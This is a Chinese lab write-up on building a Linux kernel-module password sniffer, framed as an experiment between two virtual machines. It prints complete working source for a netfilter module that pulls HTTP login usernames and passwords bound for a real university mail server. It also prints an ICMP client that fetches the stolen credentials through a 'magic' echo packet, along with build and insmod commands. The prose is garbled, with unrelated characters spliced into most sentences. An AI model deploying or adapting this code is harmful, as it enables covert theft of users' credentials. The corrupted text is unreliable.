一吕嘀、實(shí)驗(yàn)介紹及環(huán)境說(shuō)明
主機(jī) | ip | 內(nèi)核版本 |
---|---|---|
虛擬機(jī)A(攻擊者主機(jī)) | 192.168.8.103 | Linux 4.15.0-106-generic |
虛擬機(jī)B(被攻擊者主機(jī)) | 192.168.8.104 | Linux 4.15.0-106-generic |
實(shí)驗(yàn)流程:在虛擬機(jī)B上使用LVM把攻擊代碼插入內(nèi)核模塊堕阔,然后使用虛擬機(jī)A向虛擬機(jī)B發(fā)送自己構(gòu)建的帶有Magic number的ICMP報(bào)文红柱,當(dāng)虛擬機(jī)B使用HTTP的方式登錄某個(gè)網(wǎng)站時(shí)祝高,虛擬機(jī)A就會(huì)拿到明文的用戶名及密碼咖祭。
二缆镣、基礎(chǔ)知識(shí)
2.1 LKM介紹
攻擊Linux的最高技術(shù)之一就是使用內(nèi)核代碼踊兜。這種內(nèi)核代碼可據(jù)其特性稱為可加載內(nèi)核模塊(Loadable Kernel Module兽掰,LKM)芭碍,是一段運(yùn)行在內(nèi)核空間的代碼,可以訪問(wèn)操作系統(tǒng)最核心的部分孽尽。
LKM是Linux內(nèi)核為了擴(kuò)展其功能所使用的可加載內(nèi)核模塊窖壕。LKM的優(yōu)點(diǎn)是動(dòng)態(tài)加載,在不重編譯內(nèi)核和重啟系統(tǒng)的條件下對(duì)類Unix系統(tǒng)的系統(tǒng)內(nèi)核進(jìn)行修改和擴(kuò)展杉女。否則的話瞻讽,對(duì)Kernel代碼的任何修改,都需要重新編譯Kernel熏挎,大大浪費(fèi)了時(shí)間和效率速勇。大多數(shù)的Unix派生系統(tǒng),包括Linux、BSD婆瓜、OSX等都支持這個(gè)特性快集」备幔基于此特性,LKM常被用作特殊設(shè)備的驅(qū)動(dòng)程序(或文件系統(tǒng))个初,如聲卡的驅(qū)動(dòng)程序等等乖寒。
LKM 包含 entry
和 exit
函數(shù),當(dāng)向內(nèi)核插入模塊時(shí)院溺,調(diào)用entry
函數(shù)楣嘁,從內(nèi)核刪除模塊時(shí)則調(diào)用 exit
函數(shù)。在 2.6 版本之后珍逸,可以任意命名這些函數(shù) entry 和 exit 函數(shù)逐虚,所以存在module_init
和module_exit
宏,用于定義這些函數(shù)屬于哪種函數(shù)谆膳。LKM 還包含一組必要的宏和一組可選的宏叭爱,用于定義模塊的許可證、模塊的作者漱病、模塊的描述等等买雾。
編譯的話,LKM也和應(yīng)用層代碼使用的gcc或者g++不同杨帽,Kernel Module使用Makefile漓穿,kbuild。
Linus:“Talk is cheap. Show me the code”
下面看一下基于LKM實(shí)現(xiàn)的“hello world”注盈。代碼及命令如下:
/* hello.c */
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
static int __init init_my_module(void) {
printk(KERN_INFO "Hello, Kernel!\n");
return 0;
}
static void __exit exit_my_module(void) {
printk(KERN_INFO "Bye, Kernel!\n");
}
module_init(init_my_module);
module_exit(exit_my_module);
// 下面的為可選部分
MODULE_LICENSE("GPL");
MODULE_AUTHOR("TEST");
/* Makefile */
obj-m += hello.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
CONFIG_MODULE_SIG=n // 注意加上這句晃危,不然報(bào)錯(cuò)
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
make
sudo insmod hello.ko
dmesg | tail //查看這個(gè)hello kernel在內(nèi)核中的輸出
2.2 netfilter的介紹
Netfilter是從Linux 2.4開始引入內(nèi)核的一個(gè)子系統(tǒng),架構(gòu)就是在整個(gè)網(wǎng)絡(luò)流程的若干位置放置了一些檢測(cè)點(diǎn)(HOOK)老客,而在每個(gè)檢測(cè)點(diǎn)上登記了一些處理函數(shù)進(jìn)行處理(如包過(guò)濾僚饭,NAT等,以及可以是 用戶自定義的功能)
IP層的五個(gè)HOOK點(diǎn)的位置如下所示沿量,具體位置見這篇文章浪慌。
NF_IP_PRE_ROUTING:剛剛進(jìn)入網(wǎng)絡(luò)層的數(shù)據(jù)包通過(guò)此點(diǎn)(剛剛進(jìn)行完版本號(hào),校驗(yàn)和等檢測(cè))朴则, 目的地址轉(zhuǎn)換在此點(diǎn)進(jìn)行权纤;
NF_IP_LOCAL_IN:經(jīng)路由查找后,送往本機(jī)的通過(guò)此檢查點(diǎn)乌妒,INPUT包過(guò)濾在此點(diǎn)進(jìn)行汹想;
NF_IP_FORWARD:要轉(zhuǎn)發(fā)的包通過(guò)此檢測(cè)點(diǎn),F(xiàn)ORWORD包過(guò)濾在此點(diǎn)進(jìn)行撤蚊;
NF_IP_POST_ROUTING:所有馬上便要通過(guò)網(wǎng)絡(luò)設(shè)備出去的包通過(guò)此檢測(cè)點(diǎn)古掏,內(nèi)置的源地址轉(zhuǎn)換功能(包括地址偽裝)在此點(diǎn)進(jìn)行;
NF_IP_LOCAL_OUT:本機(jī)進(jìn)程發(fā)出的包通過(guò)此檢測(cè)點(diǎn)侦啸,OUTPUT包過(guò)濾在此點(diǎn)進(jìn)行槽唾。
NF_IP_PRE_ROUTING 這個(gè)HOOK是數(shù)據(jù)包被接收到之后調(diào)用的第一個(gè)HOOK丧枪,這個(gè)HOOK既是稍后將要描述的模塊所用到的。當(dāng)然庞萍,其它的HOOK同樣非常有用拧烦,但是在這里,我們的焦點(diǎn)是在 NF_IP_PRE_ROUTING 這個(gè)HOOK上钝计。在hook函數(shù)完成了對(duì)數(shù)據(jù)包所需的任何的操作之后恋博,它們必須返回下列預(yù)定義的Netfilter返回值中的一個(gè):
/* Netfilter返回值 */
返回值 含義
NF_DROP 丟棄該數(shù)據(jù)包
NF_ACCEPT 保留該數(shù)據(jù)包
NF_STOLEN 忘掉該數(shù)據(jù)包
NF_QUEUE 將該數(shù)據(jù)包插入到用戶空間
NF_REPEAT 再次調(diào)用該hook函數(shù)
NF_DROP
返回碼意味著應(yīng)該完全刪除此數(shù)據(jù)包并且應(yīng)該釋放為其分配的任何資源。NF_ACCEPT
告訴Netfilter到目前為止數(shù)據(jù)包仍然可以接受并且它應(yīng)該移動(dòng)到Network堆棧的下一階段私恬。NF_STOLEN
很有趣的债沮,因?yàn)樗嬖VNetfilter “忘記” 數(shù)據(jù)包。這告訴Netfilter本鸣,鉤子函數(shù)將從這里處理這個(gè)數(shù)據(jù)包疫衩,Netfilter應(yīng)該放棄它的所有處理。但是荣德,這并不意味著數(shù)據(jù)包的資源被釋放隧土。數(shù)據(jù)包及其鉤子的sk_buff結(jié)構(gòu)仍然有效,只是鉤子函數(shù)已經(jīng)從Netfilter獲得了數(shù)據(jù)包的所有權(quán)NF_QUEUE
將數(shù)據(jù)包排入隊(duì)列命爬,通常是將數(shù)據(jù)包發(fā)送給用戶進(jìn)程空間處理NF_REPEAT
請(qǐng)求Netfilter再次調(diào)用hook函數(shù)。顯然辐脖,必須小心使用NF_REPEAT以避免無(wú)限循環(huán)饲宛。
2.3 sk_buff數(shù)據(jù)結(jié)構(gòu)簡(jiǎn)介
socket buffers,簡(jiǎn)稱skb嗜价,中文名字叫套接字緩存艇抠。它作為網(wǎng)絡(luò)數(shù)據(jù)包的存放地點(diǎn),使得協(xié)議棧中每個(gè)層都可以對(duì)數(shù)據(jù)進(jìn)行操作久锥,從而實(shí)現(xiàn)了數(shù)據(jù)包自底向上的傳遞家淤。該結(jié)構(gòu)維護(hù)收到的或者要發(fā)送的網(wǎng)絡(luò)包。sk_buff是一個(gè)雙向鏈表瑟由。在較新的內(nèi)核版本上絮重,sk_buff中已經(jīng)沒有了list成員。
sk_buff說(shuō)明了如何訪問(wèn)存儲(chǔ)區(qū)空間歹苦,如何維護(hù)多個(gè)存儲(chǔ)區(qū)空間以及存儲(chǔ)網(wǎng)絡(luò)包解析的結(jié)果青伤。內(nèi)核中sk_buff結(jié)構(gòu)體在各層協(xié)議之間傳輸不是用拷貝sk_buff結(jié)構(gòu)體,而是通過(guò)增加協(xié)議頭和移動(dòng)指針來(lái)操作的殴瘦。如果是從L4傳輸?shù)絃2狠角,則是通過(guò)往sk_buff結(jié)構(gòu)體中增加該層協(xié)議頭來(lái)操作;如果是從L4到L2蚪腋,則是通過(guò)移動(dòng)sk_buff結(jié)構(gòu)體中的data指針來(lái)實(shí)現(xiàn)丰歌,不會(huì)刪除各層協(xié)議頭姨蟋。
sk_buff是一個(gè)很復(fù)雜的數(shù)據(jù)結(jié)構(gòu),只看和我們的操作比較相關(guān)的一部分:
__be16 protocol;
/* 傳輸層頭部相對(duì)于head的偏移 */
__u16 transport_header;
/* 網(wǎng)絡(luò)層頭部相對(duì)于head的偏移 */
__u16 network_header;
/* 鏈路層頭部相對(duì)于head的偏移 */
__u16 mac_header;
/* private: */
__u32 headers_end[0];
/* public: */
/* These elements must be at the end, see alloc_skb() for details. */
/* 實(shí)際數(shù)據(jù)的尾部 */
sk_buff_data_t tail;
/* 緩沖區(qū)的尾部 */
sk_buff_data_t end;
/* 緩沖區(qū)的頭部 */
unsigned char *head,
/* 實(shí)際數(shù)據(jù)的頭部 */
*data;
/*
緩沖區(qū)的總大小立帖,包括skb本身和實(shí)際數(shù)據(jù)len大小眼溶,alloc_skb函數(shù)將
該字段設(shè)置為len+sizeof(sk_buff)
每當(dāng)len值更新,該值也要對(duì)應(yīng)更新
*/
unsigned int truesize;
/*
引用計(jì)數(shù)厘惦,在使用該skb緩沖區(qū)的實(shí)例個(gè)數(shù)偷仿,當(dāng)引用計(jì)數(shù)為0時(shí),skb才能被釋放
skb_get()獲取操作中會(huì)增加引用計(jì)數(shù)宵蕉,kfree_skb釋放過(guò)程中檢查引用計(jì)數(shù)酝静,
引用計(jì)數(shù)為0時(shí),才真正釋放skb
該計(jì)數(shù)器只計(jì)算sk_buff結(jié)構(gòu)引用計(jì)數(shù)羡玛,緩沖區(qū)包含的實(shí)際數(shù)據(jù)由
skb_shared_info->dataref字段記錄
*/
atomic_t users;
};
因?yàn)閿?shù)據(jù)區(qū)在協(xié)議棧走的時(shí)候要一層層添加或去掉一些數(shù)據(jù)(比如報(bào)頭)所以申請(qǐng)一塊大的足夠的內(nèi)存别智,然后在往里放東西。真實(shí)的實(shí)際數(shù)據(jù)可能用不了這么多稼稿,所以用data,tail指向真實(shí)的薄榛,head,tail指向邊界。剛開始沒填充數(shù)據(jù)時(shí)前三個(gè)指針指向的是一個(gè)地方:
下面列出了一些常用語(yǔ)操作sk_buff的方法:
/* 獲得TCP頭部的起始位置 */
static inline unsigned char *skb_transport_header(const struct sk_buff *skb){
return skb->head + skb->transport_header;
}
/* 獲得IP頭部的起始位置 */
static inline unsigned char *skb_network_header(const struct sk_buff *skb){
return skb->head + skb->network_header;
}
/* 獲得MAC層頭部的起始位置 */
static inline unsigned char *skb_mac_header(const struct sk_buff *skb){
return skb->head + skb->mac_header;
}
三让歼、代碼實(shí)現(xiàn)及效果展示
3.1 網(wǎng)站分析
本次攻擊的網(wǎng)站就拿學(xué)校的郵箱系統(tǒng)來(lái)做實(shí)驗(yàn)敞恋。首先,要搞清楚網(wǎng)頁(yè)提交密碼的格式谋右,然后才好使用netfilter對(duì)密碼對(duì)數(shù)據(jù)包進(jìn)行用戶名和密碼的提取硬猫。打開網(wǎng)站隨便輸入一個(gè)用戶名和密碼,使用wireshark抓包分析如下:
需要獲得的關(guān)鍵信息:
- ip地址:202.38.64.8
- 表單中用戶名的key:uid
- 表單中密碼的key:password
- TCP data中啸蜜,用于定位用戶名和密碼的flag:比如下面的實(shí)現(xiàn)中,使用的是Upgrade-Insecure-Requests
3.2 代碼詳解
代碼和Phrack Magazine網(wǎng)站給的FTP密碼嗅探器示例差不多辈挂,上篇文章有對(duì)基于內(nèi)核的FTP密碼嗅探器的源碼分析衬横,感興趣可以看一下。本次實(shí)驗(yàn)的代碼及其詳解如下:
/* 編譯內(nèi)核模塊所需的Makefile */
obj-m += sniffer.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
CONFIG_MODULE_SIG=n
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
/*
* @Author: fxding2019@gmail.com
* @Date: 2020-06-17 17:53:08
* @LastEditTime: 2020-06-17 17:55:38
* @LastEditors: fxding2019@gmail.com
* @Description: 內(nèi)核嗅探模塊 sniffer.c
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#define MAGIC_CODE 0x5B // ICMP CODE
#define REPLY_SIZE 36 // tartget_ip(4B) + 預(yù)留username(16B) + 預(yù)留password(16B)
#define SUCCESS 1
#define FAILURE -1
/*
* 這個(gè)是寫死的终蒂,因?yàn)閷?duì)不同服務(wù)器密碼嗅探時(shí)蜂林,字符解析稍有不同,不具有普遍適用性
*/
static const unsigned int target_ip = 138421962 ; // email.ustc.edu.cn
static char *username = NULL;
static char *password = NULL;
static int have_pair = 0;
/* Used to describe our Netfilter hooks */
static struct nf_hook_ops pre_hook; /* Incoming */
static struct nf_hook_ops post_hook; /* Outgoing */
/*從HTTP數(shù)據(jù)包中抓取 username, password */
static void check_http(struct sk_buff *skb) {
struct iphdr *ip = NULL;
struct tcphdr *tcp = NULL;
char *data = NULL; // tcp data
char *name;
char *passwd;
char *token_and;
char *flag;
int len,i;
/* ip:得到的ip數(shù)據(jù)包
* tcp:得到的tcp數(shù)據(jù)包
* data:把指針移動(dòng)到tcp有效載荷
*/
ip = (struct iphdr *)skb_network_header(skb);
tcp = (struct tcphdr *)skb_transport_header(skb);
data = (char *)tcp + (tcp->doff<<2);
// 用戶名和密碼的value都不為空
if (strstr(data, "uid") != NULL && strstr(data, "password") != NULL) {
// 查找data中出現(xiàn)Connection的位置
flag = strstr(data,"Upgrade-Insecure-Requests");
// 在locale_flag后查找"uid="拇泣,找最后一次出現(xiàn)的位置
name = strstr(flag,"uid=");
// "uid="后面的"&"
token_and = strstr(name,"&");
// 跳過(guò)"uid="悉尾,指向?qū)嶋H值
name += 4;
// len是整個(gè)username值的長(zhǎng)度
len = token_and - name;
//kmalloc:分配內(nèi)核空間的內(nèi)存:len+2:要分配內(nèi)存的大小,GFP_KERNEL:要分配內(nèi)存的類型
if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
// 初始化內(nèi)存
memset(username, 0x00, len + 2);
// 把username值取出
for (i = 0; i < len; ++i){
*(username + i) = name[i];
}
// 末尾加上結(jié)束符
*(username + len) = '\0';
printk("username: %s\n", username);
/* 同樣的方法操作獲得password */
passwd = strstr(name,"password=");
token_and = strstr(passwd,"&");
passwd += 9;
len = token_and - passwd;
if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL)
return;
memset(password, 0x00, len + 2);
for (i = 0; i < len; ++i){
*(password + i) = passwd[i];
}
*(password + len) = '\0';
}
else{
return ;
}
// 如果得到挫酿,就把標(biāo)志置1
if (username && password)
have_pair++;
}
/**
* 在POST_ROUTING HOOK點(diǎn)處過(guò)濾數(shù)據(jù)包构眯,POST_ROUTING,將數(shù)據(jù)包發(fā)送出去的前一個(gè)HOOK點(diǎn)早龟;
* 用于監(jiān)聽本機(jī)往外發(fā)送的數(shù)據(jù)包惫霸,并從中提取出所需的username猫缭,password
*/
static unsigned int watch_out(void *priv,
struct sk_buff *skb,
const struct nf_hook_state *state) {
struct iphdr *ip = NULL;
struct tcphdr *tcp = NULL;
// 數(shù)據(jù)包過(guò)濾
ip = (struct iphdr *)skb_network_header(skb);
tcp = (struct tcphdr *)skb_transport_header(skb);
// 把非TCP報(bào)文過(guò)濾和端口非80的放行
if (tcp->dest != htons(80) || ip->protocol != IPPROTO_TCP)
return NF_ACCEPT;
// 如果還沒有拿到密碼,則對(duì)數(shù)據(jù)包進(jìn)行解析
if (!have_pair)
check_http(skb);
// 處理完放行
return NF_ACCEPT;
}
/*
* 在PRE_ROUTING HOOK點(diǎn)處過(guò)濾數(shù)據(jù)包壹店,把發(fā)來(lái)的代碼Magic number的ICMP數(shù)據(jù)報(bào)
* 填上我們偷到的用戶名和密碼以及server IP后再讓其原路返回
*/
static unsigned int watch_in(void *priv,
struct sk_buff *skb,
const struct nf_hook_state *state) {
struct iphdr *ip = NULL;
struct icmphdr *icmp = NULL;
int icmp_payload_len = 0; // 相當(dāng)于竊取ftp代碼中的宏定義ICMP_PAYLOAD_SIZE
char *cp_data = NULL; /* Where we copy data to in reply */
unsigned int temp_ipaddr; // temporary ip holder for swap ip (saddr <-> daddr)
// 得到ip數(shù)據(jù)包
ip = (struct iphdr *)skb_network_header(skb);
// 如果不是ICMP數(shù)據(jù)包 或者 已經(jīng)拿到用戶名和密碼了 ==> 放行
if (!have_pair || ip->protocol != IPPROTO_ICMP)
return NF_ACCEPT;
// 得到icmp數(shù)據(jù)包
icmp = (struct icmphdr *)((char *)ip + (ip->ihl<<2));
// icmp_payload_len為icmp數(shù)據(jù)的有效載荷(出去icmp頭部8B)
icmp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - 8;
// 再次驗(yàn)證是不是MAGIC_CODE的icmp
if (icmp->code != MAGIC_CODE
|| icmp->type != ICMP_ECHO
|| icmp_payload_len < REPLY_SIZE) {
return NF_ACCEPT;
}
// 交換源猜丹、目的IP,往回發(fā)包
temp_ipaddr = ip->saddr;
ip->saddr = ip->daddr;
ip->daddr = temp_ipaddr;
//表明數(shù)據(jù)包是向外發(fā)的
skb->pkt_type = PACKET_OUTGOING;
//確定這個(gè)數(shù)據(jù)包來(lái)自的什么類型的接口
switch (skb->dev->type) {
case ARPHRD_PPP: break; /* No fiddling needs doing */
case ARPHRD_LOOPBACK:
case ARPHRD_ETHER: {
unsigned char temp_hwaddr[ETH_ALEN];
struct ethhdr *eth = NULL;
/* 移動(dòng)數(shù)據(jù)指針指向鏈接層頭硅卢,改變鏈路頭的h_dest和 h_source*/
eth = (struct ethhdr *)eth_hdr(skb);
skb->data = (unsigned char*)eth;
skb->len += ETH_HLEN; // 14, sizeof(skb->mac.ethernet);
memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN);
memcpy(eth->h_dest, eth->h_source, ETH_ALEN);
memcpy(eth->h_source, temp_hwaddr, ETH_ALEN);
break;
}
}
/* 復(fù)制IP地址射窒,然后用戶名,然后密碼到數(shù)據(jù)包中 */
cp_data = (char *)icmp + 8;
memcpy(cp_data, &target_ip, 4); // target_ip四個(gè)字節(jié)
memcpy(cp_data+4, username, 16); // username預(yù)留16字節(jié)
memcpy(cp_data+20, password, 16); // password預(yù)留16字節(jié)
// 發(fā)送數(shù)據(jù)幀
dev_queue_xmit(skb);
/* 釋放保存的用戶名和密碼并重置have_pair */
kfree(username);
kfree(password);
username = password = NULL;
have_pair = 0;
return NF_STOLEN;
}
/* 注冊(cè)模塊 */
int init_module(void) {
pre_hook.hook = watch_in; //回調(diào)函數(shù)為watch_in
pre_hook.pf = PF_INET; //協(xié)議類型:PF_INET将塑,面向IP層的原始套接字
pre_hook.hooknum = NF_INET_PRE_ROUTING; //關(guān)鍵點(diǎn):對(duì)netfilter的PRE_ROUTING位置操作脉顿,鉤子調(diào)用的函數(shù)
pre_hook.priority = NF_IP_PRI_FIRST; //優(yōu)先級(jí)
/* 分析如上 */
post_hook.hook = watch_out;
post_hook.pf = PF_INET;
post_hook.hooknum = NF_INET_POST_ROUTING; //關(guān)鍵點(diǎn):對(duì)netfilter的POST_ROUTING位置操作,鉤子調(diào)用的函數(shù)
post_hook.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &pre_hook);
nf_register_net_hook(&init_net, &post_hook);
printk("hello sniffer\n");
return 0;
}
/* 注銷模塊 */
void cleanup_module(void) {
nf_unregister_net_hook(&init_net, &pre_hook);
nf_unregister_net_hook(&init_net, &post_hook);
printk("sniffer clean\n");
//注銷模塊時(shí)釋放內(nèi)存
if (password)
kfree(password);
if (username)
kfree(username);
}
/*
* @Author: fxding2019@gmail.com
* @Date: 2020-06-17 17:53:08
* @LastEditTime: 2020-06-17 17:56:26
* @LastEditors: fxding2019@gmail.com
* @Description: 攻擊者模塊 getpass.c
*/
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<unistd.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<netinet/ip_icmp.h>
#include<linux/if_ether.h>
#include<arpa/inet.h>
#define BUFF_SIZE 256
#define SUCCESS 1
#define FAILURE -1
#define MAGIC_CODE 0x5B // ICMP ECHO CODE
struct sockaddr_in remoteip;
struct in_addr server_addr;
int recvsockfd = -1;
int sendsockfd = -1;
unsigned char recvbuff[BUFF_SIZE];
unsigned char sendbuff[BUFF_SIZE];
/* 函數(shù)聲明 */
unsigned short cksum(unsigned short *, int len);
int send_icmp_request();
int recv_icmp_reply();
int main(int argc, char **argv) {
if (argc != 2 || inet_aton(argv[1], &remoteip.sin_addr) == 0){
fprintf(stderr, "Usage: %s remoteIP\n", argv[0]);
return 0;
}
recvsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (recvsockfd < 0 || sendsockfd < 0) {
perror("socket creation error");
return FAILURE;
}
// 先發(fā)生再接收点寥,這里也可以使用一個(gè)套接字艾疟,下面方法是使用兩個(gè)不同的
send_icmp_request();
recv_icmp_reply();
close(sendsockfd);
close(recvsockfd);
return 0;
}
/*發(fā)送ICMP回送請(qǐng)求報(bào)文 */
int send_icmp_request() {
bzero(sendbuff, BUFF_SIZE);
// 構(gòu)造ICMP ECHO首部
struct icmp *icmp = (struct icmp *)sendbuff;
icmp->icmp_type = ICMP_ECHO; // ICMP_ECHO 8
icmp->icmp_code = MAGIC_CODE; // key point
icmp->icmp_cksum = 0;
// 計(jì)算ICMP校驗(yàn)和,涉及首部和數(shù)據(jù)部分敢辩,包括:8B(ICMP ECHO首部) + 36B(4B(target_ip)+16B(username)+16B(password))
icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + 36);
printf("sending request........\n");
int ret = sendto(sendsockfd, sendbuff, 44, 0, (struct sockaddr *)&remoteip, sizeof(remoteip));
if (ret < 0) {
perror("send error");
} else {
printf("send a icmp echo request packet!\n\n");
}
return SUCCESS;
}
/* 接收ICMP回送回答報(bào)文 */
int recv_icmp_reply() {
bzero(recvbuff, BUFF_SIZE);
printf("waiting for reply......\n");
if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) < 0) {
printf("failed getting reply packet\n");
return FAILURE;
}
// 跳過(guò)ip頭部蔽莱,得到icmp報(bào)文
struct icmphdr *icmp = (struct icmphdr *)(recvbuff + 20);
// 跳過(guò)icmp頭部,copy 4個(gè)字節(jié)的server_addr
memcpy(&server_addr, (char *)icmp+8, 4);
printf("Stolen from http server: %s\n", inet_ntoa(server_addr));
printf("Username: %s\n", (char *)((char *)icmp + 12));
printf("Password: %s\n", (char *)((char *)icmp + 28));
return SUCCESS;
}
/* 計(jì)算校驗(yàn)和 */
unsigned short cksum(unsigned short *addr, int len) {
int sum = 0;
unsigned short res = 0;
/* len -= 2戚长,因?yàn)?sizeof(unsigned short) = 2;
* sum += *(addr++)盗冷,每次偏移2Byte
*/
for (; len > 1; sum += *(addr++), len -= 2);
// 每次處理2Byte,可能會(huì)存在多余的1Byte
sum += len == 1 ? *addr : 0;
// sum:高16位 + 低16位同廉,高16位中存在可能的進(jìn)位
sum = (sum >> 16) + (sum & 0xffff);
// sum + sum的高16位正塌,高16位中存在可能的進(jìn)位
sum += (sum >> 16);
// 經(jīng)過(guò)2次對(duì)高16位中可能存在的進(jìn)位進(jìn)行處理,即可確保sum高16位中再無(wú)進(jìn)位
res = ~sum;
return res;
}
代碼關(guān)鍵點(diǎn)解析:
HOOK點(diǎn):為什么要在PRE_ROUTING和POST_ROUTING放鉤子呢恤溶,通過(guò)上面HOOK位置一圖可以看出,PRE_ROUTING是數(shù)據(jù)包的入口點(diǎn)帜羊,POST_ROUTING是數(shù)據(jù)包的出口點(diǎn)咒程。主機(jī)需要給服務(wù)器POST數(shù)據(jù),所以在出口點(diǎn)過(guò)濾數(shù)據(jù)包讼育,拿到用戶名和密碼帐姻。入口點(diǎn)過(guò)濾Magic number ICMP報(bào)文,然后把拿到的用戶名和密碼嵌入后再轉(zhuǎn)發(fā)出去
IP地址:實(shí)驗(yàn)代碼直接把IP地址寫死了奶段,畢竟數(shù)據(jù)包分析用戶名和密碼時(shí)也不具有普遍適用性饥瓷。這點(diǎn)和FTP密碼竊取稍有不同。IP地址使用的是十進(jìn)制表示痹籍。
在data中匹配用戶名和密碼:
由上圖可以看出呢铆,uid等多次出現(xiàn),真正的uid和passwod是出現(xiàn)在tcp data的最后面的蹲缠。上面代碼使用的方式是找到一個(gè)離真實(shí)uid最近的棺克,具有唯一性的一個(gè)flag:Upgrade-Insecure-Requests
悠垛。然后再進(jìn)行匹配。kmalloc與memset:kmalloc申請(qǐng)的內(nèi)存位于物理內(nèi)存映射區(qū)域娜谊,而且在物理上也是連續(xù)的确买。另外,在用戶空間使用kmalloc會(huì)先打白條纱皆,真正分配的時(shí)候再產(chǎn)生缺頁(yè)異常再真正的分配湾趾;內(nèi)核空間使用kmalloc會(huì)直接分配內(nèi)存。memset來(lái)進(jìn)行內(nèi)存初始化
dev_queue_xmit:linux內(nèi)核太構(gòu)造數(shù)據(jù)包的第二種方式就是直接調(diào)用dev_queue_xmit函數(shù)派草,將構(gòu)造完畢的數(shù)據(jù)包直接發(fā)送到網(wǎng)卡驅(qū)動(dòng)搀缠。從NF框架來(lái)看,該函數(shù)的調(diào)用是在 POSTROUTING點(diǎn)之后了澳眷,也可以理解為直接通過(guò)調(diào)用二層的發(fā)送函數(shù)胡嘿,將三層構(gòu)造的數(shù)據(jù)包發(fā)送出去。該函數(shù)實(shí)際上會(huì)調(diào)用 skb->dev->hard_start_xmit钳踊,即對(duì)應(yīng)網(wǎng)卡的驅(qū)動(dòng)函數(shù)衷敌,將數(shù)據(jù)包直接發(fā)送的出去。
該函數(shù)發(fā)送的內(nèi)容應(yīng)該是從二層頭部開始拓瞪,到數(shù)據(jù)包的結(jié)束缴罗。因此,如果三層構(gòu)造的數(shù)據(jù)包祭埂,想調(diào)用該函數(shù)直接發(fā)送數(shù)據(jù)包的話面氓,則需要修改數(shù)據(jù)包的源和目的MAC,并將skb->data指針指向MAC頭部蛆橡,以及skb->len的值也要加上頭部的長(zhǎng)度方法
watch_out / watch_in回調(diào)函數(shù)參數(shù):
注冊(cè)鉤子函數(shù)是一個(gè)非常簡(jiǎn)單的過(guò)程舌界,主要就是Linux/netfilter.h中定義的nf_hook_ops結(jié)構(gòu)。該結(jié)構(gòu)的定義如下:struct nf_hook_ops { struct list_head list; /* User fills in from here down. */ nf_hookfn *hook; int pf; int hooknum; /* Hooks are ordered in ascending priority. */ int priority; };
hook成員是一個(gè)指向
nf_hookfn
類型的函數(shù)的指針泰演,該函數(shù)是這個(gè)hook被調(diào)用時(shí)執(zhí)行的函數(shù)呻拌。在linux/v4.15/的/linux/netfilter.h中可以看到結(jié)構(gòu)體的定義已經(jīng)有所變化
注冊(cè)和注銷模塊的函數(shù):之前的
nf_register_hook
以及nf_unregister_hook
已經(jīng)在新版本的內(nèi)核中換掉了,查看
linux/v4.15/source/include/linux/netfilter.h可以看到4.15內(nèi)核已經(jīng)換成nf_register_net_hook
以及nf_unregister_net_hook
睦焕,并且其還需要一個(gè)net*
的參數(shù)藐握,這個(gè)參數(shù)是已經(jīng)定義好的值(init_net):
3.3 效果展示
首先把sniffer.c和Makefile放在同一目錄,接著在受害者主機(jī)上插入內(nèi)核模塊垃喊。執(zhí)行以下命令:
make
sudo insmod sniffer.ko
dmesg | tail // 查看是否插入成功猾普,插入成功會(huì)有打印hello kernel
然后受害者可以登錄郵箱系統(tǒng),攻擊者執(zhí)行程序就可以獲得用戶名和密碼:
sudo ./getpass 192.168.8.104
3.4 分析總結(jié)
可以看到本谜,與FTP嗅探器的主要不同點(diǎn)有:
- watch_out和watch_in的參數(shù)有所變動(dòng)
- 對(duì)數(shù)據(jù)包分析并提取密碼時(shí)有所不同
- 獲得tcp和ip頭部可以使用函數(shù)
skb_transport_header
/skb_network_header
- 注冊(cè)/注銷內(nèi)核模塊函數(shù)有所變化(注意對(duì)比查看)
除了對(duì)密碼的提取初家,以上變動(dòng)主要原因就是內(nèi)核版本的變化。
參考文章: